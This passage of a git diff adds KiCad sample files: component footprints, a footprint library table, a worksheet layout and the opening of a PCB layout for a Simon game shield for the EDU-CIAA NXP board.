+  (pad 35 thru_hole oval (at 0 43.18) (size 1.7272 1.7272) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 36 thru_hole oval (at 2.54 43.18) (size 1.7272 1.7272) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 37 thru_hole oval (at 0 45.72) (size 1.7272 1.7272) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 38 thru_hole oval (at 2.54 45.72) (size 1.7272 1.7272) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 39 thru_hole oval (at 0 48.26) (size 1.7272 1.7272) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (pad 40 thru_hole oval (at 2.54 48.26) (size 1.7272 1.7272) (drill 1.016) (layers *.Cu *.Mask F.SilkS))
+  (model Pin_Headers.3dshapes/Pin_Header_Straight_2x20.wrl
+    (at (xyz 0.05 -0.95 0))
+    (scale (xyz 1 1 1))
+    (rotate (xyz 0 0 90))
+  )
+)
diff --git a/samples/KiCad Layout/Resistor_Horizontal_RM7mm.kicad_mod b/samples/KiCad Layout/Resistor_Horizontal_RM7mm.kicad_mod
new file mode 100644
index 0000000000..4bef918932
--- /dev/null
+++ b/samples/KiCad Layout/Resistor_Horizontal_RM7mm.kicad_mod	
@@ -0,0 +1,20 @@
+(module footprints:Resistor_Horizontal_RM7mm (layer F.Cu) (tedit 569FCF07)
+  (descr "Resistor, Axial,  RM 7.62mm, 1/3W,")
+  (tags "Resistor Axial RM 7.62mm 1/3W R3")
+  (fp_text reference R18 (at 4.05892 -3.50012) (layer F.SilkS)
+    (effects (font (size 1 1) (thickness 0.15)))
+  )
+  (fp_text value 680 (at 3.81 3.81) (layer F.Fab)
+    (effects (font (size 1 1) (thickness 0.15)))
+  )
+  (fp_line (start -1.25 -1.5) (end 8.85 -1.5) (layer F.CrtYd) (width 0.05))
+  (fp_line (start -1.25 1.5) (end -1.25 -1.5) (layer F.CrtYd) (width 0.05))
+  (fp_line (start 8.85 -1.5) (end 8.85 1.5) (layer F.CrtYd) (width 0.05))
+  (fp_line (start -1.25 1.5) (end 8.85 1.5) (layer F.CrtYd) (width 0.05))
+  (fp_line (start 1.27 -1.27) (end 6.35 -1.27) (layer F.SilkS) (width 0.15))
+  (fp_line (start 6.35 -1.27) (end 6.35 1.27) (layer F.SilkS) (width 0.15))
+  (fp_line (start 6.35 1.27) (end 1.27 1.27) (layer F.SilkS) (width 0.15))
+  (fp_line (start 1.27 1.27) (end 1.27 -1.27) (layer F.SilkS) (width 0.15))
+  (pad 1 thru_hole circle (at 0 0) (size 1.99898 1.99898) (drill 1.00076) (layers *.Cu *.SilkS *.Mask))
+  (pad 2 thru_hole circle (at 7.62 0) (size 1.99898 1.99898) (drill 1.00076) (layers *.Cu *.SilkS *.Mask))
+)
diff --git a/samples/KiCad Layout/SW_PUSH_SMALL.kicad_mod b/samples/KiCad Layout/SW_PUSH_SMALL.kicad_mod
new file mode 100644
index 0000000000..7776be9423
--- /dev/null
+++ b/samples/KiCad Layout/SW_PUSH_SMALL.kicad_mod	
@@ -0,0 +1,17 @@
+(module footprints:SW_PUSH_SMALL (layer F.Cu) (tedit 0)
+  (fp_text reference SW7 (at 0 -0.762) (layer F.SilkS)
+    (effects (font (size 1 1) (thickness 0.15)))
+  )
+  (fp_text value SW_PUSH (at 0 1.016) (layer F.Fab)
+    (effects (font (size 1 1) (thickness 0.15)))
+  )
+  (fp_circle (center 0 0) (end 0 -2.54) (layer F.SilkS) (width 0.15))
+  (fp_line (start -3.81 -3.81) (end 3.81 -3.81) (layer F.SilkS) (width 0.15))
+  (fp_line (start 3.81 -3.81) (end 3.81 3.81) (layer F.SilkS) (width 0.15))
+  (fp_line (start 3.81 3.81) (end -3.81 3.81) (layer F.SilkS) (width 0.15))
+  (fp_line (start -3.81 -3.81) (end -3.81 3.81) (layer F.SilkS) (width 0.15))
+  (pad 1 thru_hole circle (at 3.81 -2.54) (size 1.397 1.397) (drill 0.8128) (layers *.Cu *.Mask F.SilkS))
+  (pad 2 thru_hole circle (at 3.81 2.54) (size 1.397 1.397) (drill 0.8128) (layers *.Cu *.Mask F.SilkS))
+  (pad 1 thru_hole circle (at -3.81 -2.54) (size 1.397 1.397) (drill 0.8128) (layers *.Cu *.Mask F.SilkS))
+  (pad 2 thru_hole circle (at -3.81 2.54) (size 1.397 1.397) (drill 0.8128) (layers *.Cu *.Mask F.SilkS))
+)
diff --git a/samples/KiCad Layout/TO-92_Molded_Narrow.kicad_mod b/samples/KiCad Layout/TO-92_Molded_Narrow.kicad_mod
new file mode 100644
index 0000000000..64036b30b3
--- /dev/null
+++ b/samples/KiCad Layout/TO-92_Molded_Narrow.kicad_mod	
@@ -0,0 +1,25 @@
+(module footprints:TO-92_Molded_Narrow (layer F.Cu) (tedit 54F242E1)
+  (descr "TO-92 leads molded, narrow, drill 0.6mm (see NXP sot054_po.pdf)")
+  (tags "to-92 sc-43 sc-43a sot54 PA33 transistor")
+  (fp_text reference Q5 (at 0 -4) (layer F.SilkS)
+    (effects (font (size 1 1) (thickness 0.15)))
+  )
+  (fp_text value BC547 (at 0 3) (layer F.Fab)
+    (effects (font (size 1 1) (thickness 0.15)))
+  )
+  (fp_line (start -1.4 1.95) (end -1.4 -2.65) (layer F.CrtYd) (width 0.05))
+  (fp_line (start -1.4 1.95) (end 3.9 1.95) (layer F.CrtYd) (width 0.05))
+  (fp_line (start -0.43 1.7) (end 2.97 1.7) (layer F.SilkS) (width 0.15))
+  (fp_arc (start 1.27 0) (end 1.27 -2.4) (angle -135) (layer F.SilkS) (width 0.15))
+  (fp_arc (start 1.27 0) (end 1.27 -2.4) (angle 135) (layer F.SilkS) (width 0.15))
+  (fp_line (start -1.4 -2.65) (end 3.9 -2.65) (layer F.CrtYd) (width 0.05))
+  (fp_line (start 3.9 1.95) (end 3.9 -2.65) (layer F.CrtYd) (width 0.05))
+  (pad 2 thru_hole circle (at 1.27 -1.27 90) (size 1.00076 1.00076) (drill 0.6) (layers *.Cu *.Mask F.SilkS))
+  (pad 3 thru_hole circle (at 2.54 0 90) (size 1.00076 1.00076) (drill 0.6) (layers *.Cu *.Mask F.SilkS))
+  (pad 1 thru_hole circle (at 0 0 90) (size 1.00076 1.00076) (drill 0.6) (layers *.Cu *.Mask F.SilkS))
+  (model TO_SOT_Packages_THT.3dshapes/TO-92_Molded_Narrow.wrl
+    (at (xyz 0.05 0 0))
+    (scale (xyz 1 1 1))
+    (rotate (xyz 0 0 -90))
+  )
+)
diff --git a/samples/KiCad Layout/filenames/fp-lib-table b/samples/KiCad Layout/filenames/fp-lib-table
new file mode 100644
index 0000000000..3404909794
--- /dev/null
+++ b/samples/KiCad Layout/filenames/fp-lib-table	
@@ -0,0 +1,95 @@
+(fp_lib_table
+  (lib (name Air_Coils_SML_NEOSID)(type Github)(uri ${KIGITHUB}/Air_Coils_SML_NEOSID.pretty)(options "")(descr "Deprecated - will be removed"))
+  (lib (name Buttons_Switches_SMD)(type Github)(uri ${KIGITHUB}/Buttons_Switches_SMD.pretty)(options "")(descr "Buttons and switches, surface mount"))
+  (lib (name Buttons_Switches_THT)(type Github)(uri ${KIGITHUB}/Buttons_Switches_THT.pretty)(options "")(descr "Buttons and switches, through hole"))
+  (lib (name Buzzers_Beepers)(type Github)(uri ${KIGITHUB}/Buzzers_Beepers.pretty)(options "")(descr "Audio signalling devices"))
+  (lib (name Capacitors_SMD)(type Github)(uri ${KIGITHUB}/Capacitors_SMD.pretty)(options "")(descr "Capacitors, surface mount"))
+  (lib (name Capacitors_Tantalum_SMD)(type Github)(uri ${KIGITHUB}/Capacitors_Tantalum_SMD.pretty)(options "")(descr "Tantalum capacitors, surface mount"))
+  (lib (name Capacitors_THT)(type Github)(uri ${KIGITHUB}/Capacitors_THT.pretty)(options "")(descr "Capacitors, through hole"))
+  (lib (name Choke_Axial_ThroughHole)(type Github)(uri ${KIGITHUB}/Choke_Axial_ThroughHole.pretty)(options "")(descr "Deprecated - will be removed"))
+  (lib (name Choke_Common-Mode_Wurth)(type Github)(uri ${KIGITHUB}/Choke_Common-Mode_Wurth.pretty)(options "")(descr "Deprecated - will be removed"))
+  (lib (name Choke_Radial_ThroughHole)(type Github)(uri ${KIGITHUB}/Choke_Radial_ThroughHole.pretty)(options "")(descr "Deprecated - will be removed"))
+  (lib (name Choke_SMD)(type Github)(uri ${KIGITHUB}/Choke_SMD.pretty)(options "")(descr "Deprecated - will be removed"))
+  (lib (name Choke_Toroid_ThroughHole)(type Github)(uri ${KIGITHUB}/Choke_Toroid_ThroughHole.pretty)(options "")(descr "Deprecated - will be removed"))
+  (lib (name Connectors_Harwin)(type Github)(uri ${KIGITHUB}/Connectors_Harwin.pretty)(options "")(descr "Harwin connector footprints www.harwin.com"))
+  (lib (name Connectors_Hirose)(type Github)(uri ${KIGITHUB}/Connectors_Hirose.pretty)(options "")(descr "Hirose connector footprints www.hirose.com"))
+  (lib (name Connectors_JAE)(type Github)(uri ${KIGITHUB}/Connectors_JAE.pretty)(options "")(descr "JAE connector footprints http://www.jae.com/jccom/en/connectors"))
+  (lib (name Connectors_JST)(type Github)(uri ${KIGITHUB}/Connectors_JST.pretty)(options "")(descr "JST connector footprints www.jst.com"))
+  (lib (name Connectors_Mini-Universal)(type Github)(uri ${KIGITHUB}/Connectors_Mini-Universal.pretty)(options "")(descr Mate-N-Lok))
+  (lib (name Connectors_Molex)(type Github)(uri ${KIGITHUB}/Connectors_Molex.pretty)(options "")(descr "Molex connector foottprints www.molex.com"))
+  (lib (name Connectors_Multicomp)(type Github)(uri ${KIGITHUB}/Connectors_Multicomp.pretty)(options "")(descr "Multicomp connector footprints"))
+  (lib (name Connectors_Phoenix)(type Github)(uri ${KIGITHUB}/Connectors_Phoenix.pretty)(options "")(descr "Phoenix connector footprints"))
+  (lib (name Connectors_Samtec)(type Github)(uri ${KIGITHUB}/Connectors_Samtec.pretty)(options "")(descr "Samtec connector footprints"))
+  (lib (name Connectors_TE-Connectivity)(type Github)(uri ${KIGITHUB}/Connectors_TE-Connectivity.pretty)(options "")(descr "TE Connectivity connector footprints www.te.com"))
+  (lib (name Connectors_Terminal_Blocks)(type Github)(uri ${KIGITHUB}/Connectors_Terminal_Blocks.pretty)(options "")(descr "Terminal block connectors"))
+  (lib (name Connectors_WAGO)(type Github)(uri ${KIGITHUB}/Connectors_WAGO.pretty)(options "")(descr "WAGO connector footprints www.wago.com"))
+  (lib (name Connectors)(type Github)(uri ${KIGITHUB}/Connectors.pretty)(options "")(descr "Assorted connector footprints"))
+  (lib (name Converters_DCDC_ACDC)(type Github)(uri ${KIGITHUB}/Converters_DCDC_ACDC.pretty)(options "")(descr "DC-DC and AC-DC convertor modules"))
+  (lib (name Crystals)(type Github)(uri ${KIGITHUB}/Crystals.pretty)(options "")(descr "Crystals and oscillators"))
+  (lib (name Diodes_SMD)(type Github)(uri ${KIGITHUB}/Diodes_SMD.pretty)(options "")(descr "Diodes, surface mount"))
+  (lib (name Diodes_THT)(type Github)(uri ${KIGITHUB}/Diodes_THT.pretty)(options "")(descr "Diodes, through hole"))
+  (lib (name Discret)(type Github)(uri ${KIGITHUB}/Discret.pretty)(options "")(descr "Deprecated - will be removed"))
+  (lib (name Displays_7-Segment)(type Github)(uri ${KIGITHUB}/Displays_7-Segment.pretty)(options "")(descr "Seven segment displays"))
+  (lib (name Displays)(type Github)(uri ${KIGITHUB}/Displays.pretty)(options "")(descr "Display modules"))
+  (lib (name Divers)(type Github)(uri ${KIGITHUB}/Divers.pretty)(options "")(descr "Deprecated - will be removed"))
+  (lib (name Enclosures)(type Github)(uri ${KIGITHUB}/Enclosures.pretty)(options "")(descr "Electronics enclosures and housings"))
+  (lib (name EuroBoard_Outline)(type Github)(uri ${KIGITHUB}/EuroBoard_Outline.pretty)(options "")(descr "Deprecated - will be removed"))
+  (lib (name Fiducials)(type Github)(uri ${KIGITHUB}/Fiducials.pretty)(options "")(descr "Fiducial markings"))
+  (lib (name Filters_HF_Coils_NEOSID)(type Github)(uri ${KIGITHUB}/Filters_HF_Coils_NEOSID.pretty)(options "")(descr "Deprecated - will be removed"))
+  (lib (name Fuse_Holders_and_Fuses)(type Github)(uri ${KIGITHUB}/Fuse_Holders_and_Fuses.pretty)(options "")(descr "Fuses and fuse holders"))
+  (lib (name Hall-Effect_Transducers_LEM)(type Github)(uri ${KIGITHUB}/Hall-Effect_Transducers_LEM.pretty)(options "")(descr "LEM hall effect transducers"))
+  (lib (name Heatsinks)(type Github)(uri ${KIGITHUB}/Heatsinks.pretty)(options "")(descr "Heatsinks and thermal products"))
+  (lib (name Housings_BGA)(type Github)(uri ${KIGITHUB}/Housings_BGA.pretty)(options "")(descr "Ball Grid Array (BGA)"))
+  (lib (name Housings_DFN_QFN)(type Github)(uri ${KIGITHUB}/Housings_DFN_QFN.pretty)(options "")(descr "Surface mount IC packages, DFN / LGA / QFN"))
+  (lib (name Housings_DIP)(type Github)(uri ${KIGITHUB}/Housings_DIP.pretty)(options "")(descr "Through hole IC packages, DIP"))
+  (lib (name Housings_LCC)(type Github)(uri ${KIGITHUB}/Housings_LCC.pretty)(options "")(descr "Leaded Chip Carriers (LCC)"))
+  (lib (name Housings_LGA)(type Github)(uri ${KIGITHUB}/Housings_LGA.pretty)(options "")(descr "Land Grid Array (LGA)"))
+  (lib (name Housings_PGA)(type Github)(uri ${KIGITHUB}/Housings_PGA.pretty)(options "")(descr "Pin Grid Array (PGA)"))
+  (lib (name Housings_QFP)(type Github)(uri ${KIGITHUB}/Housings_QFP.pretty)(options "")(descr "Quad Flat Package (QFP)"))
+  (lib (name Housings_SIP)(type Github)(uri ${KIGITHUB}/Housings_SIP.pretty)(options "")(descr "Single Inline Package (SIP)"))
+  (lib (name Housings_SOIC)(type Github)(uri ${KIGITHUB}/Housings_SOIC.pretty)(options "")(descr "Small Outline Integrated Circuits (SOIC)"))
+  (lib (name Housings_SSOP)(type Github)(uri ${KIGITHUB}/Housings_SSOP.pretty)(options "")(descr "SSOP, TSSOP, MSOP, QSOP, VSO packages"))
+  (lib (name Inductors_NEOSID)(type Github)(uri ${KIGITHUB}/Inductors_NEOSID.pretty)(options "")(descr "Deprecated - will be removed"))
+  (lib (name Inductors)(type Github)(uri ${KIGITHUB}/Inductors.pretty)(options "")(descr "Deprecated - will be removed"))
+  (lib (name Inductors_SMD)(type Github)(uri ${KIGITHUB}/Inductors_SMD.pretty)(options "")(descr "Inductors, surface mount"))
+  (lib (name Inductors_THT)(type Github)(uri ${KIGITHUB}/Inductors_THT.pretty)(options "")(descr "Inductors, through hole"))
+  (lib (name IR-DirectFETs)(type Github)(uri ${KIGITHUB}/IR-DirectFETs.pretty)(options "")(descr "DirectFet packets from International Rectifier"))
+  (lib (name Labels)(type Github)(uri ${KIGITHUB}/Labels.pretty)(options "")(descr "Deprecated - will be removed"))
+  (lib (name LEDs)(type Github)(uri ${KIGITHUB}/LEDs.pretty)(options "")(descr "Light emitting diodes (LEDs)"))
+  (lib (name Measurement_Points)(type Github)(uri ${KIGITHUB}/Measurement_Points.pretty)(options "")(descr "Terminals for test equipment"))
+  (lib (name Measurement_Scales)(type Github)(uri ${KIGITHUB}/Measurement_Scales.pretty)(options "")(descr "Measurement scales and gauges"))
+  (lib (name Mechanical_Sockets)(type Github)(uri ${KIGITHUB}/Mechanical_Sockets.pretty)(options "")(descr "Sockets for board to board connection"))
+  (lib (name Microwave)(type Github)(uri ${KIGITHUB}/Microwave.pretty)(options "")(descr "Microwave"))
+  (lib (name Modules)(type Github)(uri ${KIGITHUB}/Modules.pretty)(options "")(descr "Board-level devices integrating system functionality into a single module"))
+  (lib (name Mounting_Holes)(type Github)(uri ${KIGITHUB}/Mounting_Holes.pretty)(options "")(descr "Mechanical fasteners"))
+  (lib (name NF-Transformers_ETAL)(type Github)(uri ${KIGITHUB}/NF-Transformers_ETAL.pretty)(options "")(descr "Deprecated - will be deleted"))
+  (lib (name Oddities)(type Github)(uri ${KIGITHUB}/Oddities.pretty)(options "")(descr "Assorted footprints. Deprecated - will be removed"))
+  (lib (name Opto-Devices)(type Github)(uri ${KIGITHUB}/Opto-Devices.pretty)(options "")(descr "Optocouplers, light sensors, and other optical devices"))
+  (lib (name Oscillators)(type Github)(uri ${KIGITHUB}/Oscillators.pretty)(options "")(descr "Precicision oscillator modules"))
+  (lib (name PFF_PSF_PSS_Leadforms)(type Github)(uri ${KIGITHUB}/PFF_PSF_PSS_Leadforms.pretty)(options "")(descr "Allegro leadform packages"))
+  (lib (name Pin_Headers)(type Github)(uri ${KIGITHUB}/Pin_Headers.pretty)(options "")(descr "Male pin headers"))
+  (lib (name Potentiometers)(type Github)(uri ${KIGITHUB}/Potentiometers.pretty)(options "")(descr "Potentiometers / variable resistors"))
+  (lib (name Power_Integrations)(type Github)(uri ${KIGITHUB}/Power_Integrations.pretty)(options "")(descr "Power Integrations footprints"))
+  (lib (name Relays_THT)(type Github)(uri ${KIGITHUB}/Relays_THT.pretty)(options "")(descr "Through hole relay packages"))
+  (lib (name Resistors_SMD)(type Github)(uri ${KIGITHUB}/Resistors_SMD.pretty)(options "")(descr "Resistors, surface mount"))
+  (lib (name Resistors_THT)(type Github)(uri ${KIGITHUB}/Resistors_THT.pretty)(options "")(descr "Resistors, through hole"))
+  (lib (name Resistors_Universal)(type Github)(uri ${KIGITHUB}/Resistors_Universal.pretty)(options "")(descr Experimental))
+  (lib (name RF_Modules)(type Github)(uri ${KIGITHUB}/RF_Modules.pretty)(options "")(descr "Radio-frequency / wireless modules"))
+  (lib (name Shielding_Cabinets)(type Github)(uri ${KIGITHUB}/Shielding_Cabinets.pretty)(options "")(descr "RF / EMI shields"))
+  (lib (name SMD_Packages)(type Github)(uri ${KIGITHUB}/SMD_Packages.pretty)(options "")(descr "Various SMD packages. Read only - footprints will be moved to other libraries"))
+  (lib (name Sockets_MOLEX_KK-System)(type Github)(uri ${KIGITHUB}/Sockets_MOLEX_KK-System.pretty)(options "")(descr "Deprecated - will be removed"))
+  (lib (name Socket_Strips)(type Github)(uri ${KIGITHUB}/Socket_Strips.pretty)(options "")(descr "Female socket strips"))
+  (lib (name Sockets)(type Github)(uri ${KIGITHUB}/Sockets.pretty)(options "")(descr "IC sockets"))
+  (lib (name Symbols)(type Github)(uri ${KIGITHUB}/Symbols.pretty)(options "")(descr "PCB symbols"))
+  (lib (name TO_SOT_Packages_SMD)(type Github)(uri ${KIGITHUB}/TO_SOT_Packages_SMD.pretty)(options "")(descr "Surface mount transistor packages"))
+  (lib (name TO_SOT_Packages_THT)(type Github)(uri ${KIGITHUB}/TO_SOT_Packages_THT.pretty)(options "")(descr "Through hole transistor packages"))
+  (lib (name Transformers_CHK)(type Github)(uri ${KIGITHUB}/Transformers_CHK.pretty)(options "")(descr "Deprecated - will be removed"))
+  (lib (name Transformers_SMD)(type Github)(uri ${KIGITHUB}/Transformers_SMD.pretty)(options "")(descr "Surface mount transformers"))
+  (lib (name Transformers_SMPS_ThroughHole)(type Github)(uri ${KIGITHUB}/Transformers_SMPS_ThroughHole.pretty)(options "")(descr "Deprecated - will be removed"))
+  (lib (name Transformers_THT)(type Github)(uri ${KIGITHUB}/Transformers_THT.pretty)(options "")(descr "Through hole transformers"))
+  (lib (name Transistors_OldSowjetAera)(type Github)(uri ${KIGITHUB}/Transistors_OldSowjetAera.pretty)(options "")(descr "Sowjet transistors"))
+  (lib (name Valves)(type Github)(uri ${KIGITHUB}/Valves.pretty)(options "")(descr "Valves"))
+  (lib (name Varistors)(type Github)(uri ${KIGITHUB}/Varistors.pretty)(options "")(descr "Varistors"))
+  (lib (name Wire_Connections_Bridges)(type Github)(uri ${KIGITHUB}/Wire_Connections_Bridges.pretty)(options "")(descr "PCB bridging points"))
+  (lib (name Wire_Pads)(type Github)(uri ${KIGITHUB}/Wire_Pads.pretty)(options "")(descr "Direct wire-to-board connection points"))
+)
diff --git a/samples/KiCad Layout/kivicad.kicad_wks b/samples/KiCad Layout/kivicad.kicad_wks
new file mode 100644
index 0000000000..a83959368b
--- /dev/null
+++ b/samples/KiCad Layout/kivicad.kicad_wks	
@@ -0,0 +1,34 @@
+( page_layout
+    ( setup (textsize 1.5 1.5) (linewidth 0.15) (textlinewidth 0.15) )
+    ( rect (comment "rect around the title block") (linewidth 0.15) (start 110 34) (end 2 2) )
+    ( rect (start 0 0 ltcorner) (end 0 0 rbcorner) (repeat 2) (incrx 2) (incry 2) )
+    ( line (start 50 2 ltcorner) (end 50 0 ltcorner) (repeat 30) (incrx 50) )
+    ( tbtext "1" (pos 25 1 ltcorner) (font (size 1.3 1.3))(repeat 100) (incrx 50) )
+    ( line (start 50 2 lbcorner) (end 50 0 lbcorner) (repeat 30) (incrx 50) )
+    ( tbtext "1" (pos 25 1 lbcorner) (font (size 1.3 1.3)) (repeat 100) (incrx 50) )
+    ( line (start 0 50 ltcorner) (end 2 50 ltcorner) (repeat 30) (incry 50) )
+    ( tbtext "A" (pos 1 25 ltcorner) (font (size 1.3 1.3))
+        (justify center)(repeat 100) (incry 50) )
+    ( line (start 0 50 rtcorner) (end 2 50 rtcorner) (repeat 30) (incry 50) )
+    ( tbtext "A" (pos 1 25 rtcorner) (font (size 1.3 1.3))
+        (justify center) (repeat 100) (incry 50) )
+    ( tbtext "Date: %D" (pos 87 6.9) )
+    ( line (start 110 5.5) (end 2 5.5) )
+    ( tbtext "%K" (pos 109 4.1) (comment "Kicad version" ) )
+    ( line (start 110 8.5) (end 2 8.5) )
+    ( tbtext "Rev: %R" (pos 24 6.9)(font bold)(justify left) )
+    ( tbtext "Size: %Z" (comment "Paper format name")(pos 109 6.9) )
+    ( tbtext "Id: %S/%N" (comment "Sheet id")(pos 24 4.1) )
+    ( line (start 110 12.5) (end 2 12.5) )
+    ( tbtext "Title: %T" (pos 109 10.7)(font bold (size 2 2)) )
+    ( tbtext "File: %F" (pos 109 14.3) )
+    ( line (start 110 18.5) (end 2 18.5) )
+    ( tbtext "Sheet: %P" (pos 109 17) )
+    ( tbtext "%Y" (comment "Company name") (pos 109 20)(font bold) )
+    ( tbtext "%C0" (comment "Comment 0") (pos 109 23) )
+    ( tbtext "%C1" (comment "Comment 1") (pos 109 26) )
+    ( tbtext "%C2" (comment "Comment 2") (pos 109 29) )
+    ( tbtext "%C3" (comment "Comment 3") (pos 109 32) )
+    ( line (start 90 8.5) (end 90 5.5) )
+    ( line (start 26 8.5) (end 26 2) )
+)
diff --git a/samples/KiCad/nrf-bga.kicad_pcb b/samples/KiCad Layout/nrf-bga.kicad_pcb
similarity index 100%
rename from samples/KiCad/nrf-bga.kicad_pcb
rename to samples/KiCad Layout/nrf-bga.kicad_pcb
diff --git a/samples/KiCad Layout/simonShield.kicad_pcb b/samples/KiCad Layout/simonShield.kicad_pcb
new file mode 100644
index 0000000000..be9b9a0cc7
--- /dev/null
+++ b/samples/KiCad Layout/simonShield.kicad_pcb	
@@ -0,0 +1,2567 @@
+(kicad_pcb (version 4) (host pcbnew 4.0.6-e0-6349~53~ubuntu16.04.1)
+
+  (general
+    (links 89)
+    (no_connects 5)
+    (area 66.924999 42.174999 151.204428 107.575001)
+    (thickness 1.6)
+    (drawings 25)
+    (tracks 443)
+    (zones 0)
+    (modules 46)
+    (nets 98)
+  )
+
+  (page A4 portrait)
+  (title_block
+    (title "Poncho Juego Simon EDU-CIAA NXP")
+    (date 2016-07-14)
+    (rev 1.0)
+    (company "Proyecto CIAA")
+    (comment 1 "Juan Agustin Bassi")
+    (comment 2 "Diseño PCB - CESE")
+    (comment 3 "Licencia BSD")
+  )
+
+  (layers
+    (0 F.Cu signal)
+    (31 B.Cu signal)
+    (32 B.Adhes user hide)
+    (33 F.Adhes user hide)
+    (34 B.Paste user hide)
+    (35 F.Paste user hide)
+    (36 B.SilkS user hide)
+    (37 F.SilkS user)
+    (38 B.Mask user hide)
+    (39 F.Mask user hide)
+    (40 Dwgs.User user hide)
+    (41 Cmts.User user hide)
+    (42 Eco1.User user hide)
+    (43 Eco2.User user hide)
+    (44 Edge.Cuts user)
+    (45 Margin user hide)
+    (46 B.CrtYd user)
+    (47 F.CrtYd user)
+    (48 B.Fab user)
+    (49 F.Fab user)
+  )
+
+  (setup
+    (last_trace_width 1.2)
+    (user_trace_width 0.3)
+    (user_trace_width 0.45)
+    (user_trace_width 0.6)
+    (user_trace_width 0.9)
+    (user_trace_width 1.2)
+    (user_trace_width 1.5)
+    (trace_clearance 0.3)
+    (zone_clearance 0.5)
+    (zone_45_only yes)
+    (trace_min 0.3)
+    (segment_width 0.2)
+    (edge_width 0.15)
+    (via_size 1.27)
+    (via_drill 0.7112)
+    (via_min_size 1.27)
+    (via_min_drill 0.7112)
+    (user_via 1.27 0.7112)
+    (uvia_size 0.508)
+    (uvia_drill 0.254)
+    (uvias_allowed no)
+    (uvia_min_size 0.508)
+    (uvia_min_drill 0.254)
+    (pcb_text_width 0.3)
+    (pcb_text_size 1.5 1.5)
+    (mod_edge_width 0.15)
+    (mod_text_size 1 1)
+    (mod_text_width 0.15)
+    (pad_size 1.524 1.524)
+    (pad_drill 0.762)
+    (pad_to_mask_clearance 0.2)
+    (aux_axis_origin 0 0)
+    (visible_elements 7FFDD7EF)
+    (pcbplotparams
+      (layerselection 0x00020_80000000)
+      (usegerberextensions false)
+      (excludeedgelayer false)
+      (linewidth 0.100000)
+      (plotframeref false)
+      (viasonmask false)
+      (mode 1)
+      (useauxorigin false)
+      (hpglpennumber 1)
+      (hpglpenspeed 20)
+      (hpglpendiameter 15)
+      (hpglpenoverlay 2)
+      (psnegative false)
+      (psa4output false)
+      (plotreference false)
+      (plotvalue false)
+      (plotinvisibletext false)
+      (padsonsilk true)
+      (subtractmaskfromsilk false)
+      (outputformat 4)
+      (mirror false)
+      (drillshape 1)
+      (scaleselection 1)
+      (outputdirectory ""))
+  )
+
+  (net 0 "")
+  (net 1 GND)
+  (net 2 "Net-(D1-Pad2)")
+  (net 3 "Net-(D2-Pad2)")
+  (net 4 "Net-(D4-Pad2)")
+  (net 5 "Net-(Q1-Pad2)")
+  (net 6 "Net-(Q1-Pad3)")
+  (net 7 "Net-(Q2-Pad2)")
+  (net 8 "Net-(Q2-Pad1)")
+  (net 9 "Net-(Q3-Pad2)")
+  (net 10 "Net-(Q3-Pad1)")
+  (net 11 "Net-(Q5-Pad2)")
+  (net 12 "Net-(Q5-Pad1)")
+  (net 13 /buttons/BTN_LED_1)
+  (net 14 /buttons/BTN_CFG_1)
+  (net 15 /buttons/BTN_LED_2)
+  (net 16 /buttons/BTN_CFG_2)
+  (net 17 /buttons/BTN_CFG_3)
+  (net 18 /buttons/BTN_LED_4)
+  (net 19 "Net-(Q1-Pad1)")
+  (net 20 "Net-(D3-Pad2)")
+  (net 21 "Net-(Q4-Pad2)")
+  (net 22 "Net-(Q4-Pad1)")
+  (net 23 /buttons/BTN_LED_3)
+  (net 24 /buttons/BTN_CFG_4)
+  (net 25 "Net-(P1-Pad1)")
+  (net 26 "Net-(P1-Pad3)")
+  (net 27 /ciaaConector/LED_1)
+  (net 28 /ciaaConector/LED_2)
+  (net 29 /ciaaConector/LED_3)
+  (net 30 /ciaaConector/LED_4)
+  (net 31 /ciaaConector/PWM)
+  (net 32 VCC)
+  (net 33 "Net-(F1-Pad1)")
+  (net 34 "Net-(F2-Pad1)")
+  (net 35 "Net-(F3-Pad1)")
+  (net 36 "Net-(XA1-Pad1)")
+  (net 37 "Net-(XA1-Pad2)")
+  (net 38 "Net-(XA1-Pad11)")
+  (net 39 "Net-(XA1-Pad4)")
+  (net 40 "Net-(XA1-Pad13)")
+  (net 41 "Net-(XA1-Pad6)")
+  (net 42 "Net-(XA1-Pad15)")
+  (net 43 "Net-(XA1-Pad8)")
+  (net 44 "Net-(XA1-Pad17)")
+  (net 45 "Net-(XA1-Pad10)")
+  (net 46 "Net-(XA1-Pad19)")
+  (net 47 "Net-(XA1-Pad12)")
+  (net 48 "Net-(XA1-Pad21)")
+  (net 49 "Net-(XA1-Pad14)")
+  (net 50 "Net-(XA1-Pad23)")
+  (net 51 "Net-(XA1-Pad16)")
+  (net 52 "Net-(XA1-Pad25)")
+  (net 53 "Net-(XA1-Pad18)")
+  (net 54 "Net-(XA1-Pad27)")
+  (net 55 "Net-(XA1-Pad20)")
+  (net 56 "Net-(XA1-Pad29)")
+  (net 57 "Net-(XA1-Pad22)")
+  (net 58 "Net-(XA1-Pad31)")
+  (net 59 "Net-(XA1-Pad24)")
+  (net 60 "Net-(XA1-Pad26)")
+  (net 61 "Net-(XA1-Pad33)")
+  (net 62 "Net-(XA1-Pad28)")
+  (net 63 "Net-(XA1-Pad32)")
+  (net 64 "Net-(XA1-Pad34)")
+  (net 65 "Net-(XA1-Pad36)")
+  (net 66 "Net-(XA1-Pad38)")
+  (net 67 "Net-(XA1-Pad35)")
+  (net 68 "Net-(XA1-Pad37)")
+  (net 69 "Net-(XA1-Pad3)")
+  (net 70 "Net-(XA1-Pad5)")
+  (net 71 "Net-(XA1-Pad7)")
+  (net 72 "Net-(XA1-Pad9)")
+  (net 73 "Net-(XA1-Pad39)")
+  (net 74 "Net-(XA1-Pad40)")
+  (net 75 "Net-(XA1-Pad30)")
+  (net 76 "Net-(XA1-Pad44)")
+  (net 77 "Net-(XA1-Pad45)")
+  (net 78 "Net-(XA1-Pad46)")
+  (net 79 "Net-(XA1-Pad47)")
+  (net 80 "Net-(XA1-Pad48)")
+  (net 81 "Net-(XA1-Pad50)")
+  (net 82 "Net-(XA1-Pad51)")
+  (net 83 "Net-(XA1-Pad52)")
+  (net 84 "Net-(XA1-Pad53)")
+  (net 85 "Net-(XA1-Pad54)")
+  (net 86 "Net-(XA1-Pad55)")
